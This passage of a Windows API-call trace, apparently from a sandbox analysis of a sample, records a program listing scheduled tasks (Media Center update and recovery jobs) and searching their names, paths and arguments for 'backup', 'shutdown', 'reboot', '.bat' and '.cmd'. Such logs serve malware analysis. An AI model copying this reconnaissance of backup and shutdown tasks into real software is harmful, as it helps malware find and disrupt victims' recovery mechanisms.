_SubStr="logoff") returned 0x0 [0182.089] wcsstr (_Str="installplayready", _SubStr=".bat") returned 0x0 [0182.089] wcsstr (_Str="installplayready", _SubStr="backup") returned 0x0 [0182.089] wcsstr (_Str="installplayready", _SubStr=".cmd") returned 0x0 [0182.090] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c88f8) returned 1 [0182.090] IRegisteredTask:get_Definition (in: This=0x47fd88, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fe48) returned 0x0 [0182.451] ITaskDefinition:get_Actions (in: This=0x47fe48, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fec0) returned 0x0 [0182.451] IActionCollection:get_Count (in: This=0x47fec0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0182.451] IActionCollection:get_Item (in: This=0x47fec0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x24634e0) returned 0x0 [0182.451] IAction:get_Type (in: This=0x24634e0, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0182.451] IUnknown:QueryInterface (in: This=0x24634e0, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x24634e0) returned 0x0 [0182.451] IExecAction:get_Path (in: This=0x24634e0, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0182.451] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0182.451] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0182.451] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0182.451] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0182.451] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0182.451] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0182.451] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0182.451] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0182.451] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0182.451] IExecAction:get_Arguments (in: This=0x24634e0, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/InstallPlayReady $(Arg0)") returned 0x0 [0182.451] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x34) returned 0x6c9c90 [0182.451] wcsstr (_Str="/installplayready $(arg0)", _SubStr="reboot") returned 0x0 [0182.451] wcsstr (_Str="/installplayready $(arg0)", _SubStr="restart") returned 0x0 [0182.451] wcsstr (_Str="/installplayready $(arg0)", _SubStr="shutdown") returned 0x0 [0182.451] wcsstr (_Str="/installplayready $(arg0)", _SubStr="logoff") returned 0x0 [0182.451] wcsstr (_Str="/installplayready $(arg0)", _SubStr=".bat") returned 0x0 [0182.451] wcsstr (_Str="/installplayready $(arg0)", _SubStr="backup") returned 0x0 [0182.451] wcsstr (_Str="/installplayready $(arg0)", _SubStr=".cmd") returned 0x0 [0182.451] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0182.451] IUnknown:Release (This=0x24634e0) returned 0x2 [0182.451] IUnknown:Release (This=0x24634e0) returned 0x1 [0182.451] IUnknown:Release (This=0x47fec0) returned 0x1 [0182.451] IUnknown:Release (This=0x47fe48) returned 0x0 [0182.452] IUnknown:Release (This=0x47fd88) returned 0x0 [0182.452] IRegisteredTaskCollection:get_Item (in: This=0x47fd00, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x6, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd88) returned 0x0 [0182.452] IRegisteredTask:get_Name (in: This=0x47fd88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="mcupdate") returned 0x0 [0182.452] IRegisteredTask:get_State (in: This=0x47fd88, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0182.453] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x12) returned 0x6e6ad0 [0182.453] wcsstr (_Str="mcupdate", _SubStr="reboot") returned 0x0 [0182.453] wcsstr (_Str="mcupdate", _SubStr="restart") returned 0x0 [0182.453] wcsstr (_Str="mcupdate", _SubStr="shutdown") returned 0x0 [0182.453] wcsstr (_Str="mcupdate", _SubStr="logoff") returned 0x0 [0182.453] wcsstr (_Str="mcupdate", _SubStr=".bat") returned 0x0 [0182.453] wcsstr (_Str="mcupdate", _SubStr="backup") returned 0x0 [0182.453] wcsstr (_Str="mcupdate", _SubStr=".cmd") returned 0x0 [0182.453] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e6ad0) returned 1 [0182.453] IRegisteredTask:get_Definition (in: This=0x47fd88, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fe38) returned 0x0 [0182.458] ITaskDefinition:get_Actions (in: This=0x47fe38, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47feb0) returned 0x0 [0182.458] IActionCollection:get_Count (in: This=0x47feb0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0182.458] IActionCollection:get_Item (in: This=0x47feb0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x24634e8) returned 0x0 [0182.459] IAction:get_Type (in: This=0x24634e8, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0182.459] IUnknown:QueryInterface (in: This=0x24634e8, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x24634e8) returned 0x0 [0182.459] IExecAction:get_Path (in: This=0x24634e8, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate") returned 0x0 [0182.459] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x38) returned 0x6c9c90 [0182.459] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="reboot") returned 0x0 [0182.459] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="restart") returned 0x0 [0182.459] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="shutdown") returned 0x0 [0182.459] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="logoff") returned 0x0 [0182.459] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr=".bat") returned 0x0 [0182.459] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr="backup") returned 0x0 [0182.459] wcsstr (_Str="%systemroot%\\ehome\\mcupdate", _SubStr=".cmd") returned 0x0 [0182.459] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0182.459] IExecAction:get_Arguments (in: This=0x24634e8, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="$(Arg0)") returned 0x0 [0182.459] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x10) returned 0x6ea590 [0182.459] wcsstr (_Str="$(arg0)", _SubStr="reboot") returned 0x0 [0182.459] wcsstr (_Str="$(arg0)", _SubStr="restart") returned 0x0 [0182.459] wcsstr (_Str="$(arg0)", _SubStr="shutdown") returned 0x0 [0182.459] wcsstr (_Str="$(arg0)", _SubStr="logoff") returned 0x0 [0182.459] wcsstr (_Str="$(arg0)", _SubStr=".bat") returned 0x0 [0182.459] wcsstr (_Str="$(arg0)", _SubStr="backup") returned 0x0 [0182.459] wcsstr (_Str="$(arg0)", _SubStr=".cmd") returned 0x0 [0182.459] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6ea590) returned 1 [0182.459] IUnknown:Release (This=0x24634e8) returned 0x2 [0182.459] IUnknown:Release (This=0x24634e8) returned 0x1 [0182.459] IUnknown:Release (This=0x47feb0) returned 0x1 [0182.459] IUnknown:Release (This=0x47fe38) returned 0x0 [0182.459] IUnknown:Release (This=0x47fd88) returned 0x0 [0182.459] IRegisteredTaskCollection:get_Item (in: This=0x47fd00, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x7, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd88) returned 0x0 [0182.459] IRegisteredTask:get_Name (in: This=0x47fd88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="MediaCenterRecoveryTask") returned 0x0 [0182.460] IRegisteredTask:get_State (in: This=0x47fd88, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0182.461] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x30) returned 0x6cab08 [0182.461] wcsstr (_Str="mediacenterrecoverytask", _SubStr="reboot") returned 0x0 [0182.461] wcsstr (_Str="mediacenterrecoverytask", _SubStr="restart") returned 0x0 [0182.461] wcsstr (_Str="mediacenterrecoverytask", _SubStr="shutdown") returned 0x0 [0182.461] wcsstr (_Str="mediacenterrecoverytask", _SubStr="logoff") returned 0x0 [0182.461] wcsstr (_Str="mediacenterrecoverytask", _SubStr=".bat") returned 0x0 [0182.461] wcsstr (_Str="mediacenterrecoverytask", _SubStr="backup") returned 0x0 [0182.461] wcsstr (_Str="mediacenterrecoverytask", _SubStr=".cmd") returned 0x0 [0182.461] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab08) returned 1 [0182.461] IRegisteredTask:get_Definition (in: This=0x47fd88, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fe48) returned 0x0 [0182.467] ITaskDefinition:get_Actions (in: This=0x47fe48, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fec0) returned 0x0 [0182.467] IActionCollection:get_Count (in: This=0x47fec0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=2) returned 0x0 [0182.467] IActionCollection:get_Item (in: This=0x47fec0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0182.467] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0182.467] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0182.467] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0182.467] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c2818 [0182.467] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0182.468] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0182.468] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0182.468] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0182.468] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0182.468] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0182.468] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0182.468] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2818) returned 1 [0182.468] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-MediaCenterRecoveryTask") returned 0x0 [0182.468] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x32) returned 0x6c9c90 [0182.468] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="reboot") returned 0x0 [0182.468] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="restart") returned 0x0 [0182.468] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="shutdown") returned 0x0 [0182.468] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="logoff") returned 0x0 [0182.468] wcsstr (_Str="-mediacenterrecoverytask", _SubStr=".bat") returned 0x0 [0182.468] wcsstr (_Str="-mediacenterrecoverytask", _SubStr="backup") returned 0x0 [0182.468] wcsstr (_Str="-mediacenterrecoverytask", _SubStr=".cmd") returned 0x0 [0182.468] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0182.468] IUnknown:Release (This=0x2463688) returned 0x2 [0182.468] IUnknown:Release (This=0x2463688) returned 0x1 [0182.468] IActionCollection:get_Item (in: This=0x47fec0, index=2, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x24636c8) returned 0x0 [0182.468] IAction:get_Type (in: This=0x24636c8, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0182.468] IUnknown:Release (This=0x24636c8) returned 0x1 [0182.468] IUnknown:Release (This=0x47fec0) returned 0x1 [0182.468] IUnknown:Release (This=0x47fe48) returned 0x0 [0182.468] IUnknown:Release (This=0x47fd88) returned 0x0 [0182.468] IRegisteredTaskCollection:get_Item (in: This=0x47fd00, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd88) returned 0x0 [0182.468] IRegisteredTask:get_Name (in: This=0x47fd88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="ObjectStoreRecoveryTask") returned 0x0 [0182.468] IRegisteredTask:get_State (in: This=0x47fd88, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0182.470] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x30) returned 0x6cab08 [0182.470] wcsstr (_Str="objectstorerecoverytask", _SubStr="reboot") returned 0x0 [0182.470] wcsstr (_Str="objectstorerecoverytask", _SubStr="restart") returned 0x0 [0182.470] wcsstr (_Str="objectstorerecoverytask", _SubStr="shutdown") returned 0x0 [0182.470] wcsstr (_Str="objectstorerecoverytask", _SubStr="logoff") returned 0x0 [0182.470] wcsstr (_Str="objectstorerecoverytask", _SubStr=".bat") returned 0x0 [0182.470] wcsstr (_Str="objectstorerecoverytask", _SubStr="backup") returned 0x0 [0182.470] wcsstr (_Str="objectstorerecoverytask", _SubStr=".cmd") returned 0x0 [0182.470] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab08) returned 1 [0182.470] IRegisteredTask:get_Definition (in: This=0x47fd88, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fe48) returned 0x0 [0182.475] ITaskDefinition:get_Actions (in: This=0x47fe48, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47fec0) returned 0x0 [0182.475] IActionCollection:get_Count (in: This=0x47fec0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=2) returned 0x0 [0182.475] IActionCollection:get_Item (in: This=0x47fec0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x24636c8) returned 0x0 [0182.475] IAction:get_Type (in: This=0x24636c8, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0182.475] IUnknown:QueryInterface (in: This=0x24636c8, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x24636c8) returned 0x0 [0182.475] IExecAction:get_Path (in: This=0x24636c8, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\mcupdate.exe") returned 0x0 [0182.476] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x40) returned 0x6c2818 [0182.476] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="reboot") returned 0x0 [0182.476] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="restart") returned 0x0 [0182.476] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="shutdown") returned 0x0 [0182.476] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="logoff") returned 0x0 [0182.476] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".bat") returned 0x0 [0182.476] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr="backup") returned 0x0 [0182.476] wcsstr (_Str="%systemroot%\\ehome\\mcupdate.exe", _SubStr=".cmd") returned 0x0 [0182.476] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c2818) returned 1 [0182.476] IExecAction:get_Arguments (in: This=0x24636c8, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="-ObjectStoreRecoveryTask") returned 0x0 [0182.476] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x32) returned 0x6c9c90 [0182.476] wcsstr (_Str="-objectstorerecoverytask", _SubStr="reboot") returned 0x0 [0182.476] wcsstr (_Str="-objectstorerecoverytask", _SubStr="restart") returned 0x0 [0182.476] wcsstr (_Str="-objectstorerecoverytask", _SubStr="shutdown") returned 0x0 [0182.476] wcsstr (_Str="-objectstorerecoverytask", _SubStr="logoff") returned 0x0 [0182.476] wcsstr (_Str="-objectstorerecoverytask", _SubStr=".bat") returned 0x0 [0182.476] wcsstr (_Str="-objectstorerecoverytask", _SubStr="backup") returned 0x0 [0182.476] wcsstr (_Str="-objectstorerecoverytask", _SubStr=".cmd") returned 0x0 [0182.476] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6c9c90) returned 1 [0182.476] IUnknown:Release (This=0x24636c8) returned 0x2 [0182.476] IUnknown:Release (This=0x24636c8) returned 0x1 [0182.476] IActionCollection:get_Item (in: This=0x47fec0, index=2, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0182.476] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=5) returned 0x0 [0182.476] IUnknown:Release (This=0x2463688) returned 0x1 [0182.476] IUnknown:Release (This=0x47fec0) returned 0x1 [0182.476] IUnknown:Release (This=0x47fe48) returned 0x0 [0182.476] IUnknown:Release (This=0x47fd88) returned 0x0 [0182.476] IRegisteredTaskCollection:get_Item (in: This=0x47fd00, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x9, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd88) returned 0x0 [0182.476] IRegisteredTask:get_Name (in: This=0x47fd88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="OCURActivate") returned 0x0 [0182.476] IRegisteredTask:get_State (in: This=0x47fd88, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0182.478] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1a) returned 0x6f41a0 [0182.478] wcsstr (_Str="ocuractivate", _SubStr="reboot") returned 0x0 [0182.478] wcsstr (_Str="ocuractivate", _SubStr="restart") returned 0x0 [0182.478] wcsstr (_Str="ocuractivate", _SubStr="shutdown") returned 0x0 [0182.478] wcsstr (_Str="ocuractivate", _SubStr="logoff") returned 0x0 [0182.478] wcsstr (_Str="ocuractivate", _SubStr=".bat") returned 0x0 [0182.478] wcsstr (_Str="ocuractivate", _SubStr="backup") returned 0x0 [0182.478] wcsstr (_Str="ocuractivate", _SubStr=".cmd") returned 0x0 [0182.478] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f41a0) returned 1 [0182.478] IRegisteredTask:get_Definition (in: This=0x47fd88, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fe38) returned 0x0 [0182.482] ITaskDefinition:get_Actions (in: This=0x47fe38, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47feb0) returned 0x0 [0182.482] IActionCollection:get_Count (in: This=0x47feb0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0182.483] IActionCollection:get_Item (in: This=0x47feb0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0182.483] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0182.483] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0182.483] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0182.483] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0182.483] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0182.483] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0182.483] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0182.483] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0182.483] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0182.483] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0182.483] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0182.483] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0182.483] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/OCURActivate") returned 0x0 [0182.483] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f43d0 [0182.483] wcsstr (_Str="/ocuractivate", _SubStr="reboot") returned 0x0 [0182.483] wcsstr (_Str="/ocuractivate", _SubStr="restart") returned 0x0 [0182.483] wcsstr (_Str="/ocuractivate", _SubStr="shutdown") returned 0x0 [0182.483] wcsstr (_Str="/ocuractivate", _SubStr="logoff") returned 0x0 [0182.483] wcsstr (_Str="/ocuractivate", _SubStr=".bat") returned 0x0 [0182.483] wcsstr (_Str="/ocuractivate", _SubStr="backup") returned 0x0 [0182.483] wcsstr (_Str="/ocuractivate", _SubStr=".cmd") returned 0x0 [0182.483] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f43d0) returned 1 [0182.483] IUnknown:Release (This=0x2463688) returned 0x2 [0182.483] IUnknown:Release (This=0x2463688) returned 0x1 [0182.483] IUnknown:Release (This=0x47feb0) returned 0x1 [0182.483] IUnknown:Release (This=0x47fe38) returned 0x0 [0182.483] IUnknown:Release (This=0x47fd88) returned 0x0 [0182.483] IRegisteredTaskCollection:get_Item (in: This=0x47fd00, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xa, varVal2=0x0), ppRegisteredTask=0x5cfa20 | out: ppRegisteredTask=0x5cfa20*=0x47fd88) returned 0x0 [0182.483] IRegisteredTask:get_Name (in: This=0x47fd88, pName=0x5cf9f8 | out: pName=0x5cf9f8*="OCURDiscovery") returned 0x0 [0182.484] IRegisteredTask:get_State (in: This=0x47fd88, pState=0x5cf9fc | out: pState=0x5cf9fc*=3) returned 0x0 [0182.485] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x1c) returned 0x6f3ed0 [0182.485] wcsstr (_Str="ocurdiscovery", _SubStr="reboot") returned 0x0 [0182.485] wcsstr (_Str="ocurdiscovery", _SubStr="restart") returned 0x0 [0182.485] wcsstr (_Str="ocurdiscovery", _SubStr="shutdown") returned 0x0 [0182.485] wcsstr (_Str="ocurdiscovery", _SubStr="logoff") returned 0x0 [0182.485] wcsstr (_Str="ocurdiscovery", _SubStr=".bat") returned 0x0 [0182.485] wcsstr (_Str="ocurdiscovery", _SubStr="backup") returned 0x0 [0182.485] wcsstr (_Str="ocurdiscovery", _SubStr=".cmd") returned 0x0 [0182.485] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6f3ed0) returned 1 [0182.485] IRegisteredTask:get_Definition (in: This=0x47fd88, ppDefinition=0x5cfa08 | out: ppDefinition=0x5cfa08*=0x47fe38) returned 0x0 [0182.490] ITaskDefinition:get_Actions (in: This=0x47fe38, ppActions=0x5cfa14 | out: ppActions=0x5cfa14*=0x47feb0) returned 0x0 [0182.490] IActionCollection:get_Count (in: This=0x47feb0, pCount=0x5cf9e8 | out: pCount=0x5cf9e8*=1) returned 0x0 [0182.490] IActionCollection:get_Item (in: This=0x47feb0, index=1, ppAction=0x5cfa18 | out: ppAction=0x5cfa18*=0x2463688) returned 0x0 [0182.490] IAction:get_Type (in: This=0x2463688, pType=0x5cf9e4 | out: pType=0x5cf9e4*=0) returned 0x0 [0182.490] IUnknown:QueryInterface (in: This=0x2463688, riid=0xc6064*(Data1=0x4c3d624d, Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x5cfa1c | out: ppvObject=0x5cfa1c*=0x2463688) returned 0x0 [0182.490] IExecAction:get_Path (in: This=0x2463688, pPath=0x5cf9f4 | out: pPath=0x5cf9f4*="%SystemRoot%\\ehome\\ehPrivJob.exe") returned 0x0 [0182.490] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x42) returned 0x6e7270 [0182.490] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="reboot") returned 0x0 [0182.490] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="restart") returned 0x0 [0182.490] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="shutdown") returned 0x0 [0182.490] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="logoff") returned 0x0 [0182.490] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".bat") returned 0x0 [0182.490] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr="backup") returned 0x0 [0182.490] wcsstr (_Str="%systemroot%\\ehome\\ehprivjob.exe", _SubStr=".cmd") returned 0x0 [0182.490] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6e7270) returned 1 [0182.490] IExecAction:get_Arguments (in: This=0x2463688, pArgument=0x5cf9f0 | out: pArgument=0x5cf9f0*="/OCURDiscovery $(Arg0)") returned 0x0 [0182.490] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2e) returned 0x6cab08 [0182.490] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="reboot") returned 0x0 [0182.490] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="restart") returned 0x0 [0182.490] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="shutdown") returned 0x0 [0182.490] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="logoff") returned 0x0 [0182.490] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr=".bat") returned 0x0 [0182.490] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr="backup") returned 0x0 [0182.490] wcsstr (_Str="/ocurdiscovery $(arg0)", _SubStr=".cmd") returned 0x0 [0182.490] RtlFreeHeap (HeapHandle=0x6b0000, Flags=0x0, BaseAddress=0x6cab08) returned 1 [0182.490] IUnknown:Release (This=0x2463688) returned 0x2 [0182.490] IUnknown:Release (This=0x2463688) returned 0x1 [0182.490] IUnknown:Release (This=0x47feb0) returned 0x1 [0182.490] IUnknown:Release (This=0x47fe38) returned 0x0 [0182.491] IUnknown:Release (This=0x47fd88) returned 0x0 [0182.491] IRegisteredTaskCollection:get_Item (in: This=0x47fd00, index=0x5cf9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xb, 